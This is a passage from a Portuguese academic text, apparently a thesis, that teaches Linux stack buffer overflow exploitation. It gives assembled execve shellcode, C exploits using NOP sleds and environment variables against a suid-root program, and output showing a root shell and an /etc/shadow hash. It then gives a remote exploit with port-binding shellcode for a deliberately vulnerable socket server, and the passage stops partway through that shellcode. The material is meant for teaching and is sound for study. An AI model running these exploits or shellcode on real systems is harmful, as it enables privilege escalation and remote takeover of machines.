Segmentation fault (core dumped)

Ao rodaro programaacima,utilizamoso utilit ário perl quenospermiteenviar umaquan-

tidadedecaracteresdeformamaissimplesdo queter quedigitar um por um. Na sáıdaacima,

podemosnotarqueao enviar 63 caracteresparao programa,o mesmosaiunormalmente.Ao

seremenviados100 caracteres,o programaacusouquea entradaexcedeo limite permitido.

Poŕem, ao seremenviadosexatamente64 bytes,o programaacessouuma áreade meḿoria

inválida.Analisandoafiguraaseguir, podemoster umaidéiamelhordoquehouvedeerrado:

Figura 21: Layoutemmeḿoria do registrodeativaç̃ao dafunçãocadastra() quandoforam

passados63e64bytes

Comomostraa figura acima,quandoforam enviados64 bytes,o último byte do campo

baseda pilha anterior foi alterado.Comisso,quandoa funçãocadastra() retorna,o enderec¸o

queé retiradoda pilha parao registradorebpapontaparaum enderec¸o na pilha bemabaixo

do quedeveria ser. Quandoa função main() terminaa suaexecuç̃ao, e tamb́em chamao seu

eṕılogo (Seç̃ao3.1),o contéudodo registradoreippassaaconterbytesquenaverdadeestavam

armazenadosnobuffer dafunçãocadastra(), poiso ebpmodificadopassouasero esp, fazendo

comquea operac¸ãorealizadapelainstruç̃aoRET (popeip), fizesseo programasaltarparaum

enderec¸o arbitrário,comopodeservistonaFigura22:
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Figura 22: Layoutemmeḿoria do registrodeativaç̃aocorrompidodafunçãocadastra()

quandoforampassados64bytes

É importantefrisar queestetipo de ataquenecessitade dois ”retornos” paraserefetivo.

Primeiro,o contéudodo campobaseda pilha anterior é modificadopeloestourodeerro-por-

um do buffer, e depoisquandoa função main() retorna,o eip é modificadopor um enderec¸o

arbitrário queest́aarmazenadonapilha.

O compiladorgccnasuavers̃aoapartir da3.x, impedequeestetipo deataqueocorra,pois

eledeixaumespac¸o de8 bytesentreo campobasedapilha anterior e aprimeiravariável local

(dosregistrosdeativaç̃ao).

3.5 SHELLCODE

Atéent̃ao,sabemosqueéposśıvel controlaro fluxo deexecuç̃ao deumprogramavulneŕavel

a falhasdebuffer overflow, porém,paraumusúariomal-intencionadóenecesśarioquealgoútil

sejafeito enãoapenastravaro programaalvo. Porisso,énecesśario fazercomqueo programa

vı́tima executeum códigoarbitrário, fornecidopelousúario mal-intencionado.Programasque

fazemissosão conhecidoscomo”exploits”, quesão programasespecialmentecodificadosde

formaqueum códigoarbitrário sejainjetadono programavı́tima, geralmenteatravésdosseus

buffers deentrada.

Na suagrandemaioria,os exploits enviarão shellcodesparao programavı́tima, quesão

códigosdemáquina(opcodes) quegeralmenteabremshellsparao atacante.
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Osmétodosmaisutilizadosparaaconstruc¸ão deshellcodessão:

• Escrever diretamenteemcódigohexadecimal;

• Escrever eminstruç̃oesassembly, edepoisextrair osopcodes;

• Escrever emC, extrair o assemblyedepoisosopcodes.

Veremoscomoconstruirum shellcodeutilizandoa segundaopç̃ao,por sermaisdidáticae

defácil entendimento.

Por ter o objetivo de executarum novo programavia shellcode, o conceitopor trás da

execuç̃aodasinstruç̃oesrequerumconhecimentodecomoosprogramassãoexecutados,através

daschamadasdesistema.

3.5.1 CHAMADAS DE SISTEMANO LINUX

Chamadasde sistemasão um meio de interfaceentre programasque rodam em modo

usúario e dispositivosdehardwareou serviçosdo kernel. Algumasdasvantagensdautilização

dechamadasdesistemasão(BOVET; CESATI, 2003):

• Facilita a programac¸ão,evitandoa necessidadedeestudarcaracteŕısticasdebaixo ńıvel

dedispositivos;

• Aumentaa segurança do sistema,já queo kernelpodeverificara naturezadarequisiç̃ao

antesdeatend̂e-la;

No Linux, quandoumachamadadesistemáe feita,o kernelesperaqueospar̂ametrospara

selecionarachamadadesistema,nasuagrandemaioria,sejampassadospelosregistradoreseax,

ebx,ecx,edx,esi,edi. Apóspassaressespar̂ametros,umainterrupç̃aoespecial,int 0x80, deve

serutilizadaparainformar parao kernel utilizar essesregistradoresparachamarumafunção.

Cadaumdessesregistradorespossuiumaresponsabilidade:

• eax: qualfunçãoseŕachamada;

• ebx: primeiropar̂ametrodafunção;

• ecx: segundopar̂ametrodafunção;

• edx: terceiropar̂ametrodafunção;
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• esi: quartopar̂ametrodafunção;

• edi: quintopar̂ametrodafunção.

O arquivo /usr/include/asm/unistd.hpossuia lista com os númerosdaschamadasde sis-

temasimplementadasnokernel, quenasuavers̃ao2.4.24possuiexatamente237dispońıveis.

Utilizando o assemblernasm, dispońıvel em http://nasm.sf.net, podemoscompilaro sim-

plesprogramacodificadoemassemblyabaixo,queutiliza osconceitosdechamadadesistema

paraimprimir umamensagemnatela:

; ola.asm : imprime uma msg simples na tela
; Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
; jan/2004

section .data ; seç ão de dados inicializados

msg db "Ola mundo!" ; string a ser enviada na tela

section .text ; seç ão de c ódigo

global _start ; ponto de entrada para bin ários ELF

_start:

; prot ótipo: ssize_t write(int fd, const void *buf, size_t count);

mov eax, 4 ; chamada de sistema número 4 (write)
mov ebx, 1 ; qual file descriptor, 1 = stdout
mov ecx, msg ; enderec¸o da string
mov edx, 10 ; tamanho da string
int 0x80 ; chama o kernel

; prot ı́tipo: void _exit(int status);
mov eax, 1 ; chamada de sistema número 1 (exit)
mov ebx, 0 ; o status de sa ı́da
int 0x80 ; chama o kernel

Agorabastacompilare linkar:

$ nasm -f elf ola.asm
$ ld -o ola ola.o
$ ./ola
Ola mundo!
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3.5.2 CONSTRUÇÃO DO SHELLCODE

Comoo objetivo deum ataquecontraumafalhadebuffer overflowé executarum código

arbitrário,geralmenteumashell, vamoscriar umshellcodequeexecute-a.

No Linux, existeapenasumachamadadesistemaquepossibilitaa execuç̃ao deprogramas,

asysexecve, queest́adefinidaem/usr/src/linux/arch/i386/kernel/process.c:

/*
* sys_execve() executes a new program.
*/

asmlinkage int sys_execve(struct pt_regs regs)
{

int error;
char * filename;
filename = getname((char *) regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(filename))

goto out;
error = do_execve(filename, (char **) regs.ecx, (char **) regs.edx

, &regs);
if (error == 0)

current->ptrace &= ˜PT_DTRACE;
putname(filename);

out:
return error;

}

Analisandoo trechode código acima,pode-seperceberqueo registradorebx, terá o co-

mandoa serexecutado,queno nossocasoseŕa ”/bin/sh” , porém,essamesmafunção fazuma

chamadàa funçãodo execve(), passandoo contéudodosdemaisregistradores,e est́a definida

em/usr/src/linux/fs/exec.c:

/*
* sys_execve() executes a new program.
*/

int do_execve(char * filename, char ** argv, char ** envp, struct
pt_regs * regs)

A declarac¸ão dafunçãodo execve(), juntamentecomospar̂ametrosquesãopassadosem

sysexecve(), nospermiteconcluirque:

• ecx: possuio enderec¸o deargv[] ;

• edx: possuio enderec¸o deenv[] ;
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Essesdois registradorespossuemos par̂ametrosque podemser passadosparaum novo

programaa serexecutado.Existeumarestriç̃aoqueimplica quepelomenoso argv[0] (nome

doprograma)sejapassadoparaafunção,esenãohá anecessidadedepassarnenhumavariável

de ambienteparao programa(env[] ), podemospassarNULL paraa função. Tendoissoem

mente,́e posśıvel construiro códigoassemblyqueexecuta/bin/shatravésdosseguintespassos

(MURAT, 2001),(ONE, 1996):

• ter astring”/bin/sh” emalgumlugar dameḿoria;

• escrever o enderec¸o dessastringemebx; (nomedoprograma)

• criar umchar ** quetemo enderec¸o dastringeo enderec¸o deum NULL (argv[]);

• escrever o enderec¸o dessechar ** emecx;

• escrever zeroemedx(env[]);

• chamarint 0x80paraexecutarachamadadesistema.

Convertendoo passoacimaemcódigoassembly, fica:

;
; shellcode1.asm: simples shellcode que executa /bin/sh
; Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
;

BITS 32 ; utilizaremos modo 32 bits
xor eax, eax ; zera eax
xor ecx, ecx ; zera ecx
push eax ; termina a string que enviaremos
push 0x68732f2f ; colocamos "//sh" na pilha
push 0x6e69622f ; colocamos "/bin" na pilha
mov ebx, esp ; esp aponta para "/bin/sh" (nome do programa)
push ecx ; colocamos NULL para ser argv[1] e terminar o argv[]
push ebx ; colocamos argv[0] (nome do programa) na pilha
mov ecx, esp ; ecx aponta para argv[]
cdq ; extende o valor de eax em edx (ou seja, edx = 0)
mov al, 11 ; chamada de sistema a ser usada, sys_execve
int 0x80 ; chama o kernel

Seanalisarmoso códigoacima,há umaligeira diferença entreo códigodaseç̃aoanterior.

Issode deve ao fato queutilizaremosessenovo código em um programacodificadoem C, e

paraisso,precisamosextrair osopcodesdocódigoacima,daseguintemaneira:
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$ nasm shellcode1.asm
$ hexedit shellcode1
00000000 31 C0 31 C9 50 68 2F 2F 73 68 68 2F 62 69 6E 89
1.1.Ph//shh/bin.
00000010 E3 51 53 89 E1 99 B0 0B CD 80
.QS.......

A sáıdadoutilit áriohexeditnosinformanaprimeiracolunaquantosbytesjá forammostra-

dos, nas quatro colunasseguintesos opcodes(em hexadecimal)e na última coluna o seu

contéudoemASCII. Parautilizar o shellcodeacimaemC, é necesśario coloća-lo numastring,

comosegue:

// sc1.c: simples programa em C que chama o shellcode
// Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
//

#include <stdio.h>

// shellcode do exemplo anterior
char sc[] = "\x31\xC0\x31\xC9\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69"

"\x6E\x89\xE3\x51\x53\x89\xE1\x99\xB0\x0B\xCD\x80";

int main(void)
{

// ponteiro para funç ão, que executar á o shellcode
void (*f)(void);
// apontamos o ponteiro para o shellcode
f = (void *)sc;
// executamos o shellcode
f();
return(0);

}

Agora,bastacompilaro códigoemC acimae test́a-lo:

$ gcc -o sc1 sc1.c
$ ./sc1
sh-2.05a$

Comopodeservisto,conseguimosexecutarumanovainst̂anciadointerpretadordecoman-

dos,”/bin/sh” utilizandoo shellcodequeacaboudeserconstrúıdo.

A áreadeconstruc¸ão deshellcodeśeumaáreadeintensapesquisa,poisváriosIDS1 tentam

detectaropcodescomunsexistentesem shellcodes. Devido a isso, existem ferramentasque

conseguemgerarshellcodespolimórficos,comotécnicasdeevas̃ao deIDS, comoADMmutate,

dispońıvel emhttp://www.ktwo.caedissembler, dispońıvel emhttp://www.phiral.com.

1IntrusionDetectionSystems
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3.6 CONSTRUÇÃO DO EXPLOIT

Nas seç̃oes anteriores,ficou claro que é posśıvel desviaro fluxo de execuç̃ao deuma

aplicaç̃ao vulneŕavel a buffer overflowe tamb́em queé posśıvel executarum código queest́a

armazenadonumastring (o shellcode). O queum exploit faz, é alteraro fluxo de execuç̃ao

daaplicaç̃aovulneŕavel deformaqueestaaponteparao código(shellcode) fornecidopeloata-

cante.Paraseatingiresseobjetivo,utilizam-setrêstécnicas,queser̃aoexplicadasnas subsec¸ões

aseguir.

3.6.1 EXPLORAÇÃO UTILIZANDO CADEIAS DE NOP

Nestatécnica,um buffer é cuidadosamenteconstrúıdo paraconteroscamposcomomostra

afiguraabaixo(ONE, 1996):

Figura 23: Formatodobuffer aserenviadoparaaaplicaç̃aovulneŕavel

Oscamposacimapodemserdescritosdaseguinteforma:

• NOP: é umainstruç̃aoemassemblyquenãorealizanenhumaoperac¸ão(NoOPeration).

• shellcode: é o códigoqueexecuta”/bin/sh”.

• end. buffer : é o enderec¸o de inı́cio do buffer, dentrodo espac¸o de enderec¸amentodo

programavı́tima, ou oenderec¸o dealgumNOPdentrodo buffer, poisseatingirmosum

NOP, o processadorvai executandoacadeiadeNOPsat́eencontraro shellcode.

O motivo daexistênciadessacadeiadeNOPéquenãosabemoso exatoenderec¸o dobuffer

dentrodo espac¸o deenderec¸amentodo programavı́tima, e por issotentamosadivinhá-lo, com

a ajudado valor do registradoresp, antesde enviar o buffer maliciosoparao programavı́tima.

O códigoemC queexploraa falhadoprogramavuln1é o seguinte:

// exp1.c: exploit para o programa vuln1
// Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
//

#include <stdio.h>
#include <string.h>
// valor da instruc ¸ ão NOP
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#define NOP 0x90
// tamanho do nosso buffer.
// 64 bytes do buffer do programa vitima + 4 bytes para atingir EBP
// + 4 para atingir EIP
#define MAXBUF 72

// nosso shellcode que executa /bin/sh
char sc[] = "\x31\xC0\x31\xC9\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69"

"\x6E\x89\xE3\x51\x53\x89\xE1\x99\xB0\x0B\xCD\x80";

// esta funç ão nos ajuda a pegar o valor do stack pointer antes de enviar
// o buffer malicioso para o programa v ı́tima
unsigned long pega_esp(void)
{

__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{

char exploit[MAXBUF], *args[3];
int i, n, ret, *ap;

// se for passado 1 argumento para o programa, é um offset
if(argc > 1)

ret = pega_esp() - atoi(argv[1]);
else
// enderec¸o abaixo foi pego em uma seção gdb do programa vuln1
// é o enderec¸o aproximado do argv[1] quando se passam 72 bytes
// ou seja, aponta para uma regiao pr óxima aos NOPs

ret = 0xbffffe40;
printf("ret: 0x%x\n", ret);

ap = (int *)exploit;
// preenchemos o buffer com o enderec¸o de retorno
for(i = 0 ; i < MAXBUF; i+=4)

*ap++ = ret;
// preenchemos os primeiro 15 bytes com NOP
for(i = 0; i < 15; i++)

exploit[i] = NOP;
// colocamos depois dos NOPs o nosso shellcode
for(n = 0; n < strlen(sc); n++)

exploit[i++] = sc[n];

// indicamos os argumentos do programa
args[0] = "./vuln1";
args[1] = exploit;
args[2] = NULL;
// executamos o programa vitima
execve(args[0], args, NULL);

}
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Comoa maioriadosalvos de aplicaç̃oessão aquelascom a flag suid, e com propriet́ario

sendoroot, devido à possibilidadede elevaç̃ao deprivil égios,vamossuporque a aplicaç̃ao

vuln1fossesuidroot, e sedevidamenteexplorada,nosdáumaroot shell:

$ ls -la vuln1
-rwsr-sr-x 1 root root 11794 Jan 28 02:49 vuln1
$ gcc -o exp1 exp1.c
$ ./exp1
ret: 0xbffffe40
Usuario ãQŚa◦

ÿ>Oa@ cadastrado!
sh-2.05a# id
uid=1000(ceps) gid=1000(ceps) euid=0(root) egid=0(root) groups=1000(ceps)
sh-2.05a# ls -la /etc/shadow
-rw-r----- 1 root shadow 766 Jan 26 09:57 /etc/shadow
sh-2.05a# head -1 /etc/shadow
root:$1$0/08P/p0$Zu5S25mfVP2.TdfZKFmXy/:12443:0:99999:7:::

Comopodeservisto acima,conseguimosprivil égiosde root aoexplorar a aplicaç̃aovul-

neŕavel a buffer overflow. Paracomprovar, listamoso contéudo do arquivo /etc/shadow, algo

quenãopoderiaserfeito anãoserquesepossuaprivil égiosderoot.

Supondoquenão tivéssemospego o enderec¸o atravésde umaseç̃ao gdb, vamosestimar

valoresparaqueconsigamosatingir o objetivo deconseguir umarootshell:

$ ./exp1 -100
ret: 0xbffffd80
Usuario ãQŚa◦

>Oa@cadastrado!
Illegal instruction
$ ./exp1 -200
ret: 0xbffffde4
Usuario ãQŚa◦

ÿ>Oa@ cadastrado!
Illegal instruction
$ ./exp1 -300
ret: 0xbffffe48
Usuario ãQŚa◦

ÿ>Oa@ cadastrado!
sh-2.05a#

Na execuç̃aoacimapodeŕıamoster passadoqualqueroffset, paratentaratingir o enderec¸o

correto. Por sorte, na terceiratentativa conseguimosexecutaro nossoshellcode, masnem

sempreseŕaassim.

Estetipo de técnica,apesarde ter sido e sermuito utilizada,e serde fácil entendimento,

possuialgumasdesvantagens(MURAT, 2001):
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• o shellcodéeenviadoemumbuffer deentradadoprogramavı́tima;

• tentamos”adivinhar” o enderec¸o doshellcode;

• seo buffer deentradadoprogramavı́timanãofor grandeo suficiente(paracabero buffer

queconstrúımos),é difı́cil explorarutilizandoestatécnica.

3.6.2 EXPLORAÇÃO UTILIZANDO VARIÁVEIS DE AMBIENTE

Na subsec¸ão 2.6.9,o estadoinicial de um processoem meḿoria foi apresentado.Anal-

isandoa Figura 13, vemosum campoquenos ajudaŕa adescobriro enderec¸o exato ondeo

shellcodeseŕa enviado: o campoenvironment. A declarac¸ão dafunção principal de um pro-

gramaem C, quandopassamosvariáveis de ambiente,podeservista abaixo(MURAT, 2001),

(ONE, 1996):

int main(int argc, char *argv[], char *env[])

O par̂ametroenv[] apontaparaumarraydeponteirosparavariáveisdeambiente.Variáveis

de ambientesão utilizadasparacustomizaro contexto de execuç̃ao deum processo,fornecer

informaç̃oesgeraisparaumusúarioououtroprocesso,ouparapermitirqueumprocessoguarde

algumasinformaç̃oesatravésdachamadadesistemaexecve().

E é exatamentedevido a essaúltima afirmaç̃aoqueagoraencaixaremoso nossoshellcode

dentrode um array, e enviaremosessearray parao programavı́tima comosendoseuenv[] ,

durantea execuç̃aodoexecve.

Analisandoa Figura13,dasubsec¸ão2.6.9,podemoscalcularo enderec¸o doshellcodeque

seŕaenviado,daseguintemaneira(coment́ariosentrecolchetes):

end = 0xBFFFFFFF [endereço base]
- 4 [DWORDNULL]
- strlen(nome_do_programa) [tamanho do nome do programa]
- 1 [caractere NULL que termina o nome do programa]
- strlen(shellcode) [tamanho do shellcode que enviaremos]

Sabendoo exatoenderec¸o ondeo shellcodeseencontra,podemosdeixardeusarainstruç̃ao

NOP, e preenchero buffer quevai serenviadoapenascomo enderec¸o quecalculamos.Dessa

maneira,o exploit setornamuitomaissimples,comopodeservistoaseguir:

// exp2.c: exploit para o programa vuln1, utilizando variaveis de ambiente
// Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
//
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#include <stdio.h>
#include <string.h>

#define MAXBUF 72

char sc[] = "\x31\xC0\x31\xC9\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69"
"\x6E\x89\xE3\x51\x53\x89\xE1\x99\xB0\x0B\xCD\x80";

int main(void)
{

char exploit[MAXBUF], *args[3], *env[2];
int i, ret, *ap;

// calculamos o enderec¸o exato onde est á armazenado o shellcode
// conforme vimos na Figura 11
ret = 0xBFFFFFFF - 4 - strlen("./vuln1") - 1 - strlen(sc);
printf("ret: 0x%x\n", ret);

ap = (int *)exploit;
// preenchemos o buffer inteiro com o enderec¸o exato do shellcode
for(i = 0 ; i < MAXBUF; i+=4)

*ap++ = ret;
// argumentos
args[0] = "./vuln1";
args[1] = exploit;
args[2] = NULL;
// aqui criamos o env[] que conter á o nosso shellcode
env[0] = sc;
env[1] = NULL;
// executamos o programa vuln1 passando a vari ável de ambiente
execve(args[0], args, env);

}

Comopodeservisto,o códigoacimasetornabemmaissimples,jáquenãoprecisamosten-

tar ”adivinhar”o enderec¸o donossoshellcodedentrodoespac¸o deenderec¸amentodoprograma

vı́tima. Executando-o:

$ gcc -o exp2 exp2.c
$ ./exp2
ret: 0xbfffffd9
Usuario Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ> Ù̈yÿ>Ù
a@ cadastrado!
sh-2.05a# id
uid=1000(ceps) gid=1000(ceps) euid=0(root) egid=0(root) groups=1000(ceps)

Conseguimosexploraravulnerabilidadecomopretendido.



66

3.7 EXPLORAÇÃO REMOTA

Nassubsec¸õesanteriores,foramapresentadasformasdeexploraç̃ao defalhasdeestourode

buffer napilha, deumaperspectiva local, ou seja,supondoqueum usúario já possuaacessòa

máquina.

Poŕem,namaioriadasvezes,um usúario mal-intencionadonãopossuiŕa acessoaohostre-

motoe tentaŕadealgumaformaobt̂e-lo,e a exploraç̃aoremotapodeserumaformadealcançar

esseobjetivo.

Damesmaformaqueaplicaç̃oeslocais,umserviço remotogeralmenterecebeumaentrada

dedados,osprocessa,eretornaalgumaresposta(ounão)parao cliente.Essaentradadedados,

é armazenadaem um buffer, semelhanteao que uma aplicaç̃ao local faz. Devido a isso, se

foremutilizadasasfunçõesinsegurasdabibliotecapadr̃aoC, e nãoforemtomadososdevidos

cuidadosparavalidara entradadedados,a aplicaç̃aopodesofrerataquesdeestourodebuffer

remoto.

Diferentementede exploraç̃oes locais, ao se tentar injetar um shellcodeem um serviço

remotovulneŕavel, o mesmonãopodeapenasexecutar”/bin/sh”, poisnãopossúımosum ter-

minal no host remoto. Devido a isso,é necesśario substituiro shellcodede forma queao ser

executado,umaportaTCPsejaaberta,portaquerecebeŕa oscomandosqueser̃ao enviados,os

repassaŕa parao interpretadordecomandos(”/bin/sh”) e retornaŕa arespostadeexecuç̃aodos

comandosenviados.

Paraisso,utilizaremososhellcodedispońıvelemhttp://packetstormsecurity.nl/shellcode/bind-

sc.c, quepodeservistoaseguir:

/*
LINUX SHELLCODE
156 byte shellcode that binds /bin/sh on port 30464.
By R00T-dude

*/

char shellcode[] =
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)*/
/* c ódigo assembly em sintaxe AT&T, ou seja: instr origem,destino */
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl



67

"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
"\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80
/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
"\x53" // pushl %ebx
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\x80\xc3\x03" // addb $0x3,%bl
"\xcd\x80" // int $0x80
/* cli = accept(fd, 0, 0) */
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x50" // pushl %eax
"\x52" // pushl %edx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb3\x05" // movl $0x5,%bl
"\xb0\x66" // movl $0x66,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 0) */
"\x89\xc3" // movl %eax,%ebx
"\x31\xc9" // xorl %ecx,%ecx
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"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 1) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movl $0x3f,%al
"\xcd\x80" // int $0x80
/* dup2(cli, 2) */
"\x41" // inc %ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb" // xorl %ebx,%ebx
"\x53" // pushl %ebx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x54\x24\x08" // leal 0x8(%esp),%edx
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x53" // pushl %ebx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
/* exit(%ebx) */
"\x31\xc0" // xorl %eax,%eax
"\xb0\x01" // movb $0x1,%al
"\xcd\x80"; // int $0x80

Como podemosver, o shellcodenadamais é do que o conjuntode opcodesdasvárias

funçõesquetrabalhamcomsocket, deformaque quandosejamexecutadas,anexema execuç̃ao

de”/bin/sh” naporta30464.

3.7.1 APLICAÇÃO VULNERÁVEL QUE TRABALHA COM SOCKET

O códigoaseguir, utiliza asfunçõesparatrablharcomsocketsdescritasnaSeç̃ao2.3:

/*
* remvuln1.c: programa que trabalha com sockets vulneravel a buffer
overflow
* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* jan/2004
*/

#include <stdio.h>
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#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#define MAXBUF 256
#define MAXNOME 512

int processa(int sockfd)
{

char buffer[MAXBUF], nome[MAXNOME];
int bytes;
strcpy(buffer, "Digite seu nome: ");
if( (bytes = send(sockfd, buffer, strlen(buffer), 0)) < 0) {

perror("send");
return(-1);

}
if( (bytes = recv(sockfd, nome, sizeof(nome), 0)) < 0) {

perror("recv");
return(-1);

}
// escapa o enter
nome[bytes - 2] = ’\0’;
sprintf(buffer, "Ola %s\n", nome);
if( (bytes = send(sockfd, buffer, strlen(buffer), 0)) < 0) {

perror("send");
return(-1);

}
return 0;

}
int main(int argc, char *argv[])
{

int sockfd, clifd, tamanho;
struct sockaddr_in srv, cli;
if (argc != 2)
{

fprintf(stderr, "uso correto: %s porta\n", argv[0]);
return -1;

}
// cria o socket
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {

perror("socket");
return -1;

}
// zera a estrutura
bzero(&srv, sizeof(srv));
// espera conex ão em qualquer enderec¸o local
srv.sin_addr.s_addr = INADDR_ANY;
// aguarda conex ão na porta especificada em argv[1]
srv.sin_port = htons(atoi(argv[1]));
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// fam ı́lia
srv.sin_family = AF_INET;
// associa a porta ao socket
if (bind(sockfd, (struct sockaddr *)&srv, sizeof(srv)) < 0) {

perror("bind");
return -1;

}
// espera conex ões no socket
if (listen(sockfd, 3) < 0) {

perror("listen");
return -1;

}
printf("Aguardando conex ões na porta %d\n", atoi(argv[1]));

for(;;)
{

// aceita a conex ão no socket
if ( (clifd = accept(sockfd, (struct sockaddr *)&cli,

&tamanho)) < 0) {
perror("accept");
return -1;

}
printf("Conex ão de %s\n", inet_ntoa(cli.sin_addr));
if(processa(clifd) < 0)

printf("Erro no processamento!\n");
close(clifd);
}
return 0;

}

O programaremvuln1.cnão faz muita coisa interessante,e serve apenaspara demon-

strarcomofuncionaum ataquea umaaplicaç̃ao remotavulneŕavel. A execuç̃aodo programa

remvuln1, juntamentecom o usodo telnetparaconectarno serviço atravésde outro terminal

podeservistoabaixo(osterminaisseraoindicadosentre[]):

[terminal 1]
$ ./remvuln1 1540
[terminal 2]
$ telnet localhost 1540
Trying 127.0.0.1...
Connected to localhost.
Escape character is ’ˆ]’.
Digite seu nome: carlos
Ola carlos
Connection closed by foreign host.
[terminal 1]
Conexão de 127.0.0.1

Analisandoo códigodo programaremvuln1, podemosperceberqueelepossuium espac¸o

de512bytespararecebero nomeenviado,e emseguidaarmazenao quefoi recebidoemuma
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variável de apenas2568bytes. Numaexecuç̃ao normal, isto não seriaum problema.Poŕem,

umusúariomal-intencionadopoderiafornecerumaquantidadeenormedecaracteres,comoem

programaslocais,deformaacorrompero stack framedafunçãoprocessa().

Paraexplorar esseprograma,o conceitoé o mesmoutilizadonaexploraç̃ao deaplicaç̃oes

locais.Poŕem,comoé um programaremoto,devemosenviar o shellcodeatravésdeum socket

parao programaremoto,comofoi feito peloexploit aseguir:

/*
* exprem1.c: exploit para o programa remvuln1.c
* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* jan/2004
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>

/* instruc ¸ ão no operation */
#define NOP 0x90

/* enderec¸o de retorno pego numa seç ão gdb, aponta para um dos NOPS
* que est ão na variavel nome ou na variavel buffer
*/

#define RET 0xbffffa40

/* shellcode da seç ão anterior: binda na 30464 */
char shellcode[] =
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)*/
"\x31\xc0" // xorl %eax,%eax
"\x31\xdb" // xorl %ebx,%ebx
"\x31\xc9" // xorl %ecx,%ecx
"\x31\xd2" // xorl %edx,%edx
"\xb0\x66" // movb $0x66,%al
"\xb3\x01" // movb $0x1,%bl
"\x51" // pushl %ecx
"\xb1\x06" // movb $0x6,%cl
"\x51" // pushl %ecx
"\xb1\x01" // movb $0x1,%cl
"\x51" // pushl %ecx
"\xb1\x02" // movb $0x2,%cl
\x51" // pushl %ecx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xcd\x80" // int $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */
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"\xb3\x02" // movb $0x2,%bl
"\xb1\x02" // movb $0x2,%cl
"\x31\xc9" // xorl %ecx,%ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
"\x51" // pushl %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77" // addb $0x77,%cl
"\x66\x51" // pushl %cx
"\xb1\x02" // movb $0x2,%cl
"\x66\x51" // pushw %cx
"\x8d\x0c\x24" // leal (%esp),%ecx
"\xb2\x10" // movb $0x10,%dl
"\x52" // pushl %edx
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x8d\x0c\x24" // leal (%esp),%ecx
"\x89\xc2" // movl %eax,%edx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
/* listen(fd, 1) */
"\xb3\x01" // movb $0x1,%bl
